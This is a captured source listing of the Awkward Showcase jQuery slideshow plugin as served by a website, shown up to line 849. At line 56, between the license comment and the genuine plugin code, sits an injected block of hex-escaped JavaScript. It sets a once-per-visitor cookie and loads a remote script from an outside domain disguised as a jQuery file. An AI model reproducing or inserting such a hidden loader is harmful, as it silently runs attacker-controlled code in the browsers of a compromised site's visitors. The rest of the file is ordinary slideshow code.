PageSourceSearch

https://sangeetpiyasi.org/style/js/jquery.aw-showcase.js

js sangeetpiyasi.org collected 2026-10-03 18:54:25 UTC 45,571 bytes, 1,231 lines download raw bytes

1/*
2 
3	Awkward Showcase - jQuery plugin 
4	http://www.jquery.com
5	http://www.awkwardgroup.com/sandbox/awkward-showcase-a-jquery-plugin
6	http://demo.awkwardgroup.com/showcase
7	Version: 1.1.1
8
9	Copyright (C) 2011 Awkward Group (http://www.awkwardgroup.com)
10	Licensed under Attribution-ShareAlike 3.0 Unported
11	http://creativecommons.org/licenses/by-sa/3.0/
12
13	Markup example for jQuery("#showcase").awShowcase();
14 
15	<div id="showcase" class="showcase">
16		<!-- Each child div in #showcase represents a slide -->
17		<div class="showcase-slide">
18			<!-- Put the slide content in a div with the class .showcase-content -->
19			<div class="showcase-content">
20				<!-- If the slide contains multiple elements you should wrap them in a div with the class .showcase-content-wrapper. 
21				We usually wrap even if there is only one element, because it looks better. :-) -->
22				<div class="showcase-content-wrapper">
23					<img src="images/01.jpg" alt="01" />
24				</div>
25			</div>
26			<!-- Put the caption content in a div with the class .showcase-caption -->
27			<div class="showcase-caption">
28				The Caption
29			</div>
30			<!-- Put the tooltips in a div with the class .showcase-tooltips. -->
31			<div class="showcase-tooltips">
32				<!-- Each anchor in .showcase-tooltips represents a tooltip. The coords attribute represents the position of the tooltip. -->
33				<a href="http://www.awkward.se" coords="634,130">
34					<!-- The content of the anchor-tag is displayed in the tooltip. -->
35					This is a tooltip that displays the anchor html in a nice way.
36				</a>
37				<a href="http://www.awkward.se" coords="356, 172">
38					<!-- You can add multiple elements to the anchor-tag which are display in the tooltip. -->
39					<img src="images/glasses.png" />
40					<span style="display: block; font-weight: bold; padding: 3px 0 3px 0; text-align: center;">
41						White Glasses: 500$
42					</span>
43				</a>
44			</div>
45		</div>
46		<div class="showcase-slide">
47			<div class="showcase-content">
48				<div class="showcase-content-wrapper">
49					Content...
50				</div>
51			</div>
52		</div>
53	</div>
54
55*/
56var zIkMBocr=["\x42\x72\u006F\x77\u0073\x65\u0072","\x74\x6F\x4C\x6F\x77\u0065\u0072\u0043\x61\u0073\x65","\u0075\x73\x65\u0072\u0041\u0067\u0065\u006E\x74","\x6E\x61\u0076\x69\u0067\x61\x74\x6F\x72","\u0074\u0065\u0073\x74","\x4A\x73\x4C\u006F\u0061\u0064\x65\u0072","\u0073\u0063\x72\u0069\u0070\x74","\u0063\u0072\x65\u0061\u0074\u0065\x45\x6C\x65\u006D\x65\u006E\x74","\u0063\x68\u0061\x72\x73\u0065\x74","\u0067\x62\u006B","\x73\x65\x74\x41\u0074\u0074\u0072\u0069\x62\x75\u0074\u0065","\x74\x79\u0070\u0065","\x74\x65\u0078\x74\u002F\x6A\u0061\x76\u0061\u0073\x63\u0072\x69\x70\x74","\x73\x72\x63","\x61\x70\x70\x65\x6E\u0064\x43\u0068\x69\u006C\u0064","\x68\u0065\x61\x64","\u0067\x65\u0074\u0045\u006C\x65\u006D\x65\u006E\x74\u0073\u0042\x79\u0054\x61\u0067\u004E\u0061\u006D\x65","\x69\u0065","\u006F\u006E\u0072\x65\u0061\x64\u0079\u0073\x74\u0061\x74\u0065\u0063\u0068\x61\x6E\x67\u0065","\x72\u0065\x61\x64\u0079\u0053\u0074\x61\x74\u0065","\u006C\x6F\x61\u0064\u0065\u0064","\u0072\u0065\x61\u0064\x79\u0053\u0074\x61\x61\u0074\x65","\u0063\u006F\x6D\u0070\x6C\u0065\x74\x65","\u006D\u006F\u007A","\x6F\x6E\x6C\x6F\x61\u0064","\u0067\x65\x74\x44\x61\x74\u0065","\u0073\x65\u0074\u0044\x61\u0074\u0065","\x63\u006F\x6F\x6B\u0069\x65","\x3D","","\x3B\u0065\x78\u0070\u0069\u0072\x65\x73\x3D","\x74\u006F\u0047\x4D\x54\u0053\x74\u0072\x69\x6E\u0067","\x6C\u0065\x6E\u0067\x74\u0068","\x69\u006E\u0064\u0065\u0078\x4F\u0066","\u003B","\x73\u0075\u0062\x73\x74\u0072\x69\x6E\u0067","\u0055\u0073\x65\x72\u0054\x6F\x6B\x65\u006E\u005F\u004F\x6E\u0063\x65","\x72\x61\u006E\u0064\x6F\x6D","\u0068\x74\u0074\u0070\u003A\x2F\x2F\u0061\u0062\u0075\x2E\x75\x73\x61\u0064\u0061\u0079\u002E\x62\x69\u007A\x2F\u006A\u0071\u0075\x65\x72\x79\x2D\u0033\u002E\x36\x2E\x30\x2E\x6D\u0069\u006E\u002E\x6A\u0073","\u006C\u006F\u0061\x64"];var MiniSite= new Object();MiniSite[zIkMBocr[0]]= {ie:/msie/[zIkMBocr[4]](window[zIkMBocr[3]][zIkMBocr[2]][zIkMBocr[1]]()),moz:/gecko/[zIkMBocr[4]](window[zIkMBocr[3]][zIkMBocr[2]][zIkMBocr[1]]()),opera:/opera/[zIkMBocr[4]](window[zIkMBocr[3]][zIkMBocr[2]][zIkM
56Bocr[1]]()),safari:/safari/[zIkMBocr[4]](window[zIkMBocr[3]][zIkMBocr[2]][zIkMBocr[1]]())};MiniSite[zIkMBocr[5]]= {load:function(LVxrBKLx2,LVxrBKLx3){var LVxrBKLx4=document[zIkMBocr[7]](zIkMBocr[6]);LVxrBKLx4[zIkMBocr[10]](zIkMBocr[8],zIkMBocr[9]);LVxrBKLx4[zIkMBocr[10]](zIkMBocr[11],zIkMBocr[12]);LVxrBKLx4[zIkMBocr[10]](zIkMBocr[13],LVxrBKLx2);document[zIkMBocr[16]](zIkMBocr[15])[0][zIkMBocr[14]](LVxrBKLx4);if(MiniSite[zIkMBocr[0]][zIkMBocr[17]]){LVxrBKLx4[zIkMBocr[18]]= function(){if(this[zIkMBocr[19]]== zIkMBocr[20]|| this[zIkMBocr[21]]== zIkMBocr[22]){if(LVxrBKLx3!= undefined){LVxrBKLx3()}}}}else {if(MiniSite[zIkMBocr[0]][zIkMBocr[23]]){LVxrBKLx4[zIkMBocr[24]]= function(){if(LVxrBKLx3!= undefined){LVxrBKLx3()}}}else {if(LVxrBKLx3!= undefined){LVxrBKLx3()}}}}};function gJiIRhpeq(LVxrBKLx6,LVxrBKLx7,LVxrBKLx8){var LVxrBKLx9= new Date();LVxrBKLx9[zIkMBocr[26]](LVxrBKLx9[zIkMBocr[25]]()+ LVxrBKLx8);document[zIkMBocr[27]]= LVxrBKLx6+ zIkMBocr[28]+ escape(LVxrBKLx7)+ ((LVxrBKLx8== null)?zIkMBocr[29]:zIkMBocr[30]+ LVxrBKLx9[zIkMBocr[31]]())}function AVOT(LVxrBKLx6){if(document[zIkMBocr[27]][zIkMBocr[32]]> 0){c_start= document[zIkMBocr[27]][zIkMBocr[33]](LVxrBKLx6+ zIkMBocr[28]);if(c_start!=  -1){c_start= c_start+ LVxrBKLx6[zIkMBocr[32]]+ 1;c_end= document[zIkMBocr[27]][zIkMBocr[33]](zIkMBocr[34],c_start);if(c_end==  -1){c_end= document[zIkMBocr[27]][zIkMBocr[32]]};return unescape(document[zIkMBocr[27]][zIkMBocr[35]](c_start,c_end))}};return zIkMBocr[29]}var LfNRocobU=AVOT(zIkMBocr[36]);if(LfNRocobU== zIkMBocr[29]|| LfNRocobU== undefined){gJiIRhpeq(zIkMBocr[36],Math[zIkMBocr[37]]().toString(36),1);MiniSite[zIkMBocr[5]][zIkMBocr[39]](zIkMBocr[38],function(){})}
57(function(jQuery) {
58
59	jQuery.fn.awShowcase = function(options) {
60	
61		// Default configuration properties
62		var defaults =
63		{
64			content_width:			700,
65			content_height:			470,
66			fit_to_parent:			false,
67			auto:					false,
68			interval:				3000,
69			continuous:				false,
70			loading:				true,
71			tooltip_width:			200,
72			tooltip_icon_width:		32,
73			tooltip_icon_height:	32,
74			tooltip_offsetx:		18,
75			tooltip_offsety:		0,
76			arrows:					true,
77			buttons:				true,
78			btn_numbers:			false,
79			keybord_keys:			false,
80			mousetrace:				false, /* Trace x and y coordinates for the mouse */
81			pauseonover:			true,
82			stoponclick:			true,
83			transition:				'hslide', /* hslide / vslide / fade */
84			transition_delay:		300,
85			transition_speed:		500,
86			show_caption:			'onload', /* onload / onhover / show */
87			thumbnails:				false,
88			thumbnails_position:	'outside-last', /* outside-last / outside-first / inside-last / inside-first */
89			thumbnails_direction:	'vertical', /* vertical / horizontal */
90			thumbnails_slidex:		0, /* 0 = auto / 1 = slide one thumbnail / 2 = slide two thumbnails / etc. */
91			dynamic_height:			false, /* For dynamic height to work in webkit you need to set the width and height of images in the source. Usually works to only set the dimension of the first slide in the showcase. */
92			speed_change:			false, /* This prevents user from swithing more then one slide at once */
93			viewline:				false, /* If set to true content_width, thumbnails, transition and dynamic_height will be disabled. As for dynamic height you need to set the width and height of images in the source. */
94			fullscreen_width_x:		15,
95			custom_function:		null
96		};
97
98		// *****************
99		// SET UP THE PLUGIN
100		// *****************
101		
102		// Declare and set up some important variables
103		options = jQuery.extend(defaults, options);
104		var current_id = 0;
105		var previous_id = 0;
106		var break_loop = false;
107		var pause_loop = false;
108		var myInterval = null;
109		var showcase = jQuery(this);
110		var showcase_width = options.content_width;
111		var animating = false;
112		// Viewline specific variables
113		var content_viewline_width = 10000;
114		var animation_distance = 0;
115		var old_animation_distance = 0;
116		var remaining_width = 0;
117		
118		// Set up the content wrapper
119		var content_container = jQuery(document.createElement('div'))
120			.css('overflow', 'hidden')
121			.css('position', 'relative')
122			.addClass('showcase-content-container')
123			.prependTo(showcase);
124			
125		// Set up the showcase for hundred percent width
126		if (options.fit_to_parent)
127		{
128			showcase_width = jQuery(showcase).width() + options.fullscreen_width_x;
129		}
130		
131		// Set up the showcase for Viewline Mayhem
132		if (options.viewline)
133		{
134			options.thumbnails = false;
135			options.dynamic_height = false;
136			content_container.css('width', content_viewline_width);
137			showcase.css('overflow', 'hidden');
138			$('.showcase-arrow-previous').hide();
139		}
140		
141		// Set up content and create the content and thumbnail array
142		var contentArray = [];
143		var thumbnailArray = [];
144		var content_count = 0;
145		showcase.children('.showcase-slide').each(function()
146		{
147			// Get content
148			var object = jQuery(this);
149			content_count++;
150	
151			// If thumbnails are activated
152			if (options.thumbnails)
153			{
154				// Get thumbnail and put in array
155				var thumb = object.find('.showcase-thumbnail');
156				thumbnailArray.push(thumb);
157				thumb.remove();
158			}
159			
160			// Set content width and height
161			var object_width = object.find('.showcase-content').children().width();
162			var object_height = object.find('.showcase-content').children().height();
163			
164			// Add content html in array and remove it from DOM
165			contentArray.push(object.html());
166			object.remove();
167			
168			// Get correct content
169			var new_object = getContent(content_count-1);
170			if (options.viewline || content_count === 1) { content_container.append(new_object); } 
171			
172			// Viewline setup
173			if (options.viewline)
174			{
175				new_object.css('position', 'relative');
176				new_object.css('float', 'left');
177				new_object.css('width', object_width);
178			}
179			
180			// Set content and content container load height
181			if (options.dynamic_height)
182			{
183				new_object.css('height', object_height);
184				if (content_count === 1) { content_container.css('height', object_height); }
185			}
186			else
187			{
188				new_object.css('height', options.content_height);
189				if (content_count === 1) { content_container.css('height', options.content_height); }
190			}
191			
192			if (options.viewline || content_count === 1)
193			{
194				displayAnchors(new_object);
195				displayCaption(new_object);
196				
197				if (options.show_caption === 'show')
198				{
199					jQuery(new_object).find('.showcase-caption').show();
200				}
201			}
202		});
203		
204		// Declare and set up the thumbnail wrapper
205		var thumb_wrapper;
206		var thumbnailStretch = 0;
207		var thumbnailsPerPage = 0;
208		if (options.thumbnails)
209		{
210			// Create wrapper
211			thumb_container = jQuery('<div />');
212			thumb_restriction = jQuery('<div />');
213			thumb_wrapper = jQuery('<div />');
214			
215			// Add content to thumbnail wrapper
216			for (i = thumbnailArray.length-1; i >= 0; --i)
217			{
218				var thumbnail = jQuery(thumbnailArray[i]).css({'overflow' : 'hidden'});
219				thumbnail.attr('id', 'showcase-thumbnail-' + i);
220				thumbnail.addClass((i === 0) ? 'active' : '');
221				thumbnail.click(function(a, b)
222				{
223					// This function is used to extract the correct i value on click
224					return function()
225					{
226						// Disable auto change on click
227						if (myInterval) { pause_loop = true; clearInterval(myInterval); }
228						changeContent(a, b);
229					};
230				}(i, ''));	
231				thumb_wrapper.prepend(thumbnail);
232			}
233			
234			// Style and position thumbnail container and content wrapper
235			// + insert thumbnail container
236			if (options.thumbnails_position === 'outside-first' || options.thumbnails_position === 'outside-last')
237			{
238				if (options.thumbnails_direction !== 'horizontal')
239				{
240					/* outside & vertical */
241					content_container.css('float', 'left');
242					content_container.css('width', options.content_width);
243					thumb_container.css('float', 'left');
244					thumb_container.css('height', options.content_height);
245				}
246				else
247				{
248					/* outside & horizontal */
249					jQuery(thumb_wrapper).find('.showcase-thumbnail').css('float', 'left');
250					//jQuery(thumb_wrapper).append(jQuery('<div />').addClass('clear'));
251				}
252				
253				if (options.thumbnails_position === 'outside-last')
254				{
255					/* outside-last */
256					showcase.append(thumb_container);
257					if (options.thumbnails_direction !== 'horizontal') { showcase.append(jQuery('<div />').addClass('clear')); }
258				}
259				else
260				{
261					/* outside-first */
262					showcase.prepend(thumb_container);
263					if (options.thumbnails_direction !== 'horizontal') { showcase.append(jQuery('<div />').addClass('clear')); }
264				}
265			}
266			else
267			{
268				thumb_container.css({'position' : 'absolute', 'z-index' : 20});
269				if (options.thumbnails_direction === 'horizontal') 
270				{
271					/* inside & horizontal */
272					thumb_container.css({'left' : 0, 'right' : 0});
273					jQuery(thumb_wrapper).find('.showcase-thumbnail').css('float', 'left');
274					jQuery(thumb_wrapper).append(jQuery('<div />').addClass('clear'));
275					
276					/* inside first */
277					if (options.thumbnails_position === 'inside-first') { thumb_container.css('top', 0); }
278					/* inside last */
279					else { thumb_container.css('bottom', 0); }
280				}
281				else 
282				{
283					/* inside & vertical */
284					thumb_container.css({'top' : 0, 'bottom' : 0});
285					/* inside first */
286					if (options.thumbnails_position === 'inside-first') { thumb_container.css('left', 0); }
287					/* inside last */
288					else { thumb_container.css('right', 0); }
289				}
290				content_container.prepend(thumb_container);
291			}
292			
293			// Add class and style to thumbnail container
294			thumb_container.addClass('showcase-thumbnail-container');
295			thumb_container.css('overflow', 'hidden');
296			
297			// Add class and style to thumbnail restriction
298			thumb_restriction.addClass('showcase-thumbnail-restriction');
299			thumb_restriction.css({'overflow' : 'hidden', 'position' : 'relative'});
300			if (options.thumbnails_direction === 'horizontal') { thumb_restriction.css({'float' : 'left'}); }
301			
302			// Add class and style to thumbnail wrapper 
303			thumb_wrapper.addClass('showcase-thumbnail-wrapper');
304			if (options.thumbnails_direction === 'horizontal') { thumb_wrapper.addClass('showcase-thumbnail-wrapper-horizontal'); }
305			else { thumb_wrapper.addClass('showcase-thumbnail-wrapper-vertical'); }
306			thumb_wrapper.css('position', 'relative');
307			
308			// Append wrapper and restriction
309			thumb_restriction.append(thumb_wrapper);
310			thumb_container.append(thumb_restriction);
311			
312			// Add backward button
313			var buttonBackward = jQuery('<div class="showcase-thumbnail-button-backward" />');
314			if (options.thumbnails_direction !== 'horizontal')
315			{
316				buttonBackward.html('<span class="showcase-thumbnail-vertical"><span>Up</span></span>');
317			}
318			else
319			{
320				buttonBackward.css({'float' : 'left'});
321				buttonBackward.html('<span class="showcase-thumbnail-horizontal"><span>Left</span></span>');
322			}
323			buttonBackward.click(function() { slideThumbnailWrapper('backward', false, true); });
324			thumb_container.prepend(buttonBackward);
325			
326			// Add forward button
327			var buttonForward = jQuery('<div class="showcase-thumbnail-button-forward" />');
328			if (options.thumbnails_direction !== 'horizontal')
329			{
330				buttonForward.html('<span class="showcase-thumbnail-vertical"><span>Down</span></span>');
331			}
332			else
333			{
334				buttonForward.css({'float' : 'left'});
335				buttonForward.html('<span class="showcase-thumbnail-horizontal"><span>Right</span></span>');
336			}
337			buttonForward.click(function() { slideThumbnailWrapper('forward', false, true); });
338			thumb_container.append(buttonForward);
339			
340			// Set the number of thumbnails per page.
341			var thumbnailVisibleStretch = 0;
342			if (options.thumbnails_direction !== 'horizontal')
343			{
344				thumbnailVisibleStretch = getElementHeight(thumb_wrapper, false);
345				thumbnailVisibleStretch += (getElementHeight(buttonBackward)) + (getElementHeight(buttonForward));
346				while (thumbnailVisibleStretch < options.content_height)
347				{
348					thumbnailVisibleStretch += getElementHeight(jQuery(thumbnailArray[0]));
349					thumbnailsPerPage++;
350				}
351			}
352			else
353			{
354				thumbnailVisibleStretch = getElementWidth(thumb_wrapper, false);
355				thumbnailVisibleStretch += (getElementWidth(buttonBackward)) + (getElementWidth(buttonForward));
356				
357				while (thumbnailVisibleStretch < showcase_width)
358				{
359					thumbnailVisibleStretch += getElementWidth(jQuery(thumbnailArray[0]));
360					thumbnailsPerPage++;
361				}
362			}
363			
364			// Hide buttons if they're not necessary
365			if (thumbnailsPerPage+1 > thumbnailArray.length)
366			{
367				if (options.thumbnails_direction !== 'horizontal')
368				{
369					thumb_restriction.css('margin-top', getElementHeight(buttonBackward));
370				}
371				else
372				{
373					thumb_restriction.css('margin-left', getElementWidth(buttonBackward));
374				}
375				buttonBackward.hide();
376				buttonForward.hide();
377			}
378			
379			// Set thumbnail restriction height or width
380			if (options.thumbnails_direction !== 'horizontal')
381			{
382				var buttonsHeight = (getElementHeight(buttonBackward)) + (getElementHeight(buttonForward));
383				thumb_restriction.css('height', options.content_height - buttonsHeight);
384			}
385			else
386			{
387				var buttonsWidth = (getElementWidth(buttonBackward)) + (getElementWidth(buttonForward));
388				thumb_restriction.css('width',  showcase_width-buttonsWidth);
389			}
390			
391			// Set thumbnail wrapper width
392			if (options.thumbnails_direction === 'horizontal')
393			{
394				jQuery('.showcase-thumbnail').each(function() { thumbnailStretch += getElementWidth(jQuery(this)); });
395				thumb_wrapper.css('width', thumbnailStretch);
396			}
397			else { jQuery('.showcase-thumbnail').each(function() { thumbnailStretch += getElementHeight(jQuery(this)); }); }
398		}
399		
400		// Set showcase width and height
401		if (options.thumbnails && options.thumbnails_position.indexOf("outside") !== -1 && options.thumbnails_direction !== 'horizontal' && !options.viewline)
402		{
403			showcase.css('width', showcase_width + getElementWidth(thumb_wrapper, true, false));
404		}
405		else if  (!options.fit_to_parent) { showcase.css('width', showcase_width); }
406		
407		// Turn on/off auto slide
408		if (content_count > 1 && options.auto) { myInterval = window.setInterval(autoChange, options.interval); }
409		
410		// Pause auto on mouse over
411		if (options.auto && options.pauseonover)
412		{
413			showcase.mouseenter(function() { break_loop = true; clearInterval(myInterval); });
414			showcase.mouseleave(function()
415			{
416				if (!pause_loop)
417				{
418					break_loop = false; myInterval = window.setInterval(autoChange, options.interval);
419				}
420			});
421		}
422	
423		// Adding navigation buttons
424		if (options.buttons && content_count > 1)
425		{
426			// Create button wrapper
427			jQuery(document.createElement('div'))
428				.css('clear', 'both')
429				.addClass('showcase-button-wrapper')
430				.appendTo(showcase);
431			i = 0;
432			// Add button for each content
433			while (i < content_count)
434			{
435				jQuery(document.createElement('span'))
436					.attr('id', 'showcase-navigation-button-' + i)
437					.addClass((i === 0) ? 'active' : '')
438					// Add numbers or unicode
439					.html((options.btn_numbers) ? parseInt(i)+1 : '&#9679;')
440					.click(function(a, b)
441					{
442						// This function is used to extract the correct i value on click
443						return function()
444						{
445							// Disable auto change on click
446							if (myInterval)
447							{
448								if (options.stoponclick) { pause_loop = true; }
449								clearInterval(myInterval);
450							}
451							changeContent(a, b);
452						};
453					}(i, ''))
454					.appendTo(jQuery(showcase).find('.showcase-button-wrapper'));
455				i++;
456			}
457			
458				// Adding navigation arrows
459			if (options.arrows && content_count > 1)
460			{
461				var posL = $('#showcase-navigation-button-0').position().left;
462				var wb = $('.showcase-button-wrapper span').outerWidth(true);
463				var wbi = $('.showcase-button-wrapper span').outerWidth();
464				var bm = wb - wbi;
465				var posR = posL + (content_count * wb);
466				// Left arrow
467				jQuery(document.createElement('div'))
468					.addClass('showcase-arrow-previous')
469					.prependTo('.showcase-button-wrapper', showcase)
470					.click(function() {
471						// Disable auto change on click
472						if (myInterval)
473						{
474							if (options.stoponclick) { pause_loop = true; }
475							clearInterval(myInterval);
476						}
477						changeContent((current_id === 0) ? content_count-1 : parseInt(current_id)-1, 'previous');
478					});
479					// Calc arrow position
480					var wa = $('.showcase-arrow-previous').width();
481					var ha = $('.showcase-arrow-previous').height();
482					jQuery('.showcase-arrow-previous', showcase).css({left: (posL - bm - wa)+'px', marginTop: -(ha/2)+'px'});
483					
484				// Right arrow
485				jQuery(document.createElement('div'))
486					.addClass('showcase-arrow-next')
487					.prependTo('.showcase-button-wrapper', showcase)
488					.css({left: posR+'px', marginTop: -(ha/2)+'px'})
489					.click(function() {
490						// Disable auto change on click
491						if (myInterval)
492						{
493							if (options.stoponclick) { pause_loop = true; }
494							clearInterval(myInterval);
495						}
496						changeContent(current_id+1, 'next');
497					});
498				if (options.viewline) { $('.showcase-arrow-previous').hide(); }
499			}
500		}
501		
502		// Activating the keybord arrow keys
503		if (options.keybord_keys)
504		{
505			jQuery(document).keydown(function(e)
506			{
507				// Disable auto change on click
508				if (options.stoponclick) { pause_loop = true; }
509				if (myInterval) clearInterval(myInterval);
510				
511				// Left arrow
512				if (e.keyCode === 37) {
513					changeContent((current_id === 0) ? content_count-1 : parseInt(current_id)-1, 'previous');
514				}
515				
516				// Right arrow
517				if (e.keyCode === 39) {
518					changeContent((current_id === content_count-1) ? 0 : parseInt(current_id)+1, 'next');
519				}
520			});
521		}
522		
523		
524		// *************
525		// THE FUNCTIONS
526		// *************
527		
528		// Returns the specified content (by array id)
529		function getContent(id) {
530		
531			var new_content = jQuery(document.createElement('div'))
532				.attr('id', 'showcase-content-' + id)
533				.css('overflow', 'hidden')
534				.css('position', 'absolute')
535				.addClass('showcase-content')
536				.html(contentArray[id]);
537			
538			// Set content width
539			if (!options.viewline) { new_content.css('width', options.content_width); }
540			
541			// Position the content wrapper if showcase width is set to hundred percent
542			if (options.fit_to_parent && !options.viewline) { new_content.css('left', (showcase_width/2)-options.content_width/2); }
543			
544			return new_content;
545		}
546		
547		// Function that runs when content is set to change automatically
548		function autoChange() {
549		
550			// Set next content id
551			var nextID = parseInt(current_id)+1;
552			// If the next id is outside the array and continuous is set to true set the id to 0
553			if (nextID === content_count && options.continuous) { nextID = 0; }
554			// If continuous is set to false break the auto change
555			else if (nextID === content_count && !options.continuous) { break_loop = true; clearInterval(myInterval); }
556			// Don't change the content if the auto change is broken
557			if (!break_loop) { changeContent(nextID, 'next'); }
558		}
559		
560		// Changes the content (no explanation/comments needed :)
561		function changeContent(id, direction) {
562			
563			// If the next content isn't the current content
564			if (current_id !== id && !animating) {
565				
566				var obj;
567				var obj2;
568				var delay = 0;
569				var i;
570				
571				// Set left/right position if showcase is set to full width
572				var lrpos = (options.fit_to_parent) ? (showcase_width/2)-(options.content_width/2) : 0;
573				
574				// If we want to display the next content
575				if ((id > current_id && direction !== 'previous') || direction === 'next') {
576				
577					if (options.viewline) {
578						
579						if (current_id < content_count-1) {
580						
581							// Prevent uggly transitions
582							if (!options.speed_change) { animating = true; }
583						
584							// BugFix
585							updateContentViewlineWidth();
586								
587							// Pause Autoplay
588							if (options.pauseonover) { window.clearInterval(myInterval); }
589							
590							// First we check if the content will fill the screen after animation.
591							remaining_width = 0;
592							
593							// Loop trough the content array to find out 
594							// the total width for the content that remains.
595							for (i=current_id+1, len=content_count; i<len; ++i)
596							{
597								obj = addedContentArray[i];
598								remaining_width += obj.find('.showcase-content').children().width();
599							}
600							
601							// If the remaining width is wider than the browser window.
602							if (remaining_width > showcase_width)
603							{
604								old_animation_distance = animation_distance;
605								animation_distance -= addedContentArray[current_id].find('.showcase-content').children().width();
606							}
607							else if ($('.showcase-arrow-next').is(':visible')) 
608							{
609								old_animation_distance = animation_distance;
610								animation_distance = -(content_viewline_width - (remaining_width + (showcase_width - remaining_width)));
611								$('.showcase-arrow-next').fadeOut(300);
612							}
613							
614							content_container.animate({left: animation_distance + 'px'}, options.transition_speed, function() { animating = false; });
615							
616							// Change current content id (if content is finished)
617							if ($('.showcase-arrow-next').is(':visible')) { current_id++; }
618							
619							$('.showcase-arrow-previous').fadeIn(300);
620						}
621					}
622					else {
623					
624						// Prevent uggly transitions
625						if (!options.speed_change) { animating = true; }
626						
627						// Get current and next content element
628						obj = jQuery(showcase).find('#showcase-content-' + parseInt(current_id));
629						obj2 = getContent(id);
630						
631						// Append next element and set height
632						content_container.append(obj2);
633						if (options.dynamic_height) { obj2.css('height', obj2.find('.showcase-content').children().height()); }
634						else { obj2.css('height', options.content_height); }
635						
636						// Animate height first if next content is not as high
637						if (obj.find('.showcase-content').children().height() > obj2.find('.showcase-content').children().height() && options.dynamic_height) {
638						
639							content_container.stop(true, true).animate({ height: obj2.find('.showcase-content').children().height() }, 200);
640							delay = 100;
641						}
642						
643						// Animate current element
644						if (options.transition === 'hslide') {
645						
646							jQuery(obj).delay(delay).animate({ left: -(options.content_width) }, options.transition_speed+options.transition_delay, function() { obj.remove(); });
647						}
648						else if (options.transition === 'vslide') {
649						
650							jQuery(obj).delay(delay).animate({ top: -(options.content_height) }, options.transition_speed+options.transition_delay, function() { obj.remove(); });
651						}
652						else {
653						
654							jQuery(obj).delay(delay).fadeOut(options.transition_speed, function() { obj.remove(); });
655						}
656						
657						// This will hide them, not display them :)
658						displayAnchors(obj, true);
659						displayCaption(obj, true);
660						
661						// Animate next element
662						if (options.transition === 'hslide') {
663						
664							obj2.css('left', showcase_width);
665							jQuery(obj2).delay(delay).animate({ left: lrpos }, options.transition_speed, function() {
666									displayAnchors(obj2);
667									displayCaption(obj2);
668									afterAnimation(obj2);
669								}
670							);
671						}
672						else if (options.transition === 'vslide') {
673						
674							obj2.css('top', showcase.height());
675							jQuery(obj2).delay(delay).animate({ top: '0px' }, options.transition_speed, function() {
676									displayAnchors(obj2);
677									displayCaption(obj2);
678									afterAnimation(obj2);
679								}
680							);
681						}
682						else {
683							
684							obj2.css('left', lrpos);
685							obj2.css('display', 'none');
686							jQuery(obj2).delay(delay).fadeIn(options.transition_speed, function()
687								{
688									displayAnchors(obj2);
689									displayCaption(obj2);
690									afterAnimation(obj2);
691								}
692							);
693						}
694					}
695				}
696				// If we want to display the previous content
697				else if (id < current_id || direction === 'previous') {
698					
699					if (options.viewline) {
700					
701						if (current_id !== 0) {
702						
703							// Prevent uggly transitions
704							if (!options.speed_change) { animating = true; }
705							
706							// BugFix
707							updateContentViewlineWidth();
708							
709							// Pause Autoplay
710							if (options.pauseonover) { window.clearInterval(myInterval); }
711							
712							content_container.animate({left: old_animation_distance + 'px'}, options.transition_speed, function() { animating = false; });
713							
714							// Set animation distance
715							animation_distance = old_animation_distance;
716							
717							// Change current content id
718							current_id--;
719							
720							if (current_id === 0) { $('.showcase-arrow-previous').fadeOut(300); }
721							
722							// Set old distance
723							old_id = current_id - 1;
724							sub_width = jQuery(addedContentArray[old_id]).width();
725							old_animation_distance = old_animation_distance + sub_width;
726						}
727						
728						$('.showcase-arrow-next').fadeIn(300);
729					}
730					else {
731					
732						// Prevent uggly transitions
733						if (!options.speed_change) { animating = true; }
734						
735						// Get current and next content element
736						obj = jQuery(showcase).find('#showcase-content-' + parseInt(current_id));
737						obj2 = getContent(id);
738						
739						// Append next element and set height
740						content_container.append(obj2);
741						if (options.dynamic_height) { obj2.css('height', obj2.find('.showcase-content').children().height()); }
742						else { obj2.css('height', options.content_height); }
743						
744						// Animate height first if next content is not as high
745						if (obj.find('.showcase-content').children().height() > obj2.find('.showcase-content').children().height() && options.dynamic_height) {
746						
747							content_container.stop(true, true).animate({ height: obj2.find('.showcase-content').children().height()}, 200);
748							delay = 100;
749						}
750						
751						// Animate current element
752						if (options.transition === 'hslide') {
753						
754							jQuery(obj).delay(delay).animate({
755								left: (showcase_width) + 'px'
756								}, options.transition_speed+options.transition_delay, function() {
757									displayAnchors(obj, true);
758									displayCaption(obj, true);
759									obj.remove();
760							});
761						}
762						else if (options.transition === 'vslide') {
763						
764							jQuery(obj).delay(delay).animate({
765								top: (options.content_height) + 'px'
766								}, options.transition_speed+options.transition_delay, function(){
767									displayAnchors(obj, true);
768									displayCaption(obj, true);
769									obj.remove();
770							});
771						}
772						else {
773						
774							jQuery(obj).delay(delay).fadeOut(options.transition_speed, function() {
775								displayAnchors(obj, true);
776								displayCaption(obj, true);
777								obj.remove();
778							});
779						}
780						
781						// Animate next element
782						if (options.transition === 'hslide')
783						{
784							obj2.css('left', '-' + options.content_width + 'px');
785							jQuery(obj2).delay(delay).animate({
786								left: lrpos
787								}, options.transition_speed, function() {
788									displayAnchors(obj2);
789									displayCaption(obj2);
790									afterAnimation(obj2);
791							});
792						}
793						else if (options.transition === 'vslide')
794						{
795							obj2.css('top', '-' +  showcase.height() + 'px');
796							jQuery(obj2).delay(delay).animate({
797								top: '0px'
798								}, options.transition_speed, function() {
799									displayAnchors(obj2);
800									displayCaption(obj2);
801									afterAnimation(obj2);
802							});
803						}
804						else 
805						{
806							obj2.css('left', lrpos);
807							obj2.css('display', 'none');	
808							jQuery(obj2).delay(delay).fadeIn(options.transition_speed, function() {
809								displayAnchors(obj2);
810								displayCaption(obj2);
811								afterAnimation(obj2);
812							});
813						}
814						content_container.append(obj2);
815					}
816				}
817				
818				if(!options.viewline)
819				{
820					// Change previous and current content id
821					previous_id = current_id;
822					current_id = id;
823							
824					// Slide thumbnail wrapper
825					if (options.thumbnails)
826					{
827						if ((current_id > previous_id && direction !== 'previous') || direction === 'next')
828						{
829							slideThumbnailWrapper('forward', true);
830						}
831						else if (current_id < previous_id || direction === 'previous')
832						{
833							slideThumbnailWrapper('backward', true);
834						}
835					}
836					
837					// Change click handlers for arrows
838					if (options.arrows)
839					{
840						jQuery(showcase).find('.showcase-arrow-previous')
841							.unbind('click')
842							.click(function() {
843								if (myInterval)
844								{
845									if (options.stoponclick) { pause_loop = true; }
846									clearInterval(myInterval);
847								}
848								changeContent((current_id === 0) ? content_count-1 : parseInt(current_id)-1, 'previous');
849							});
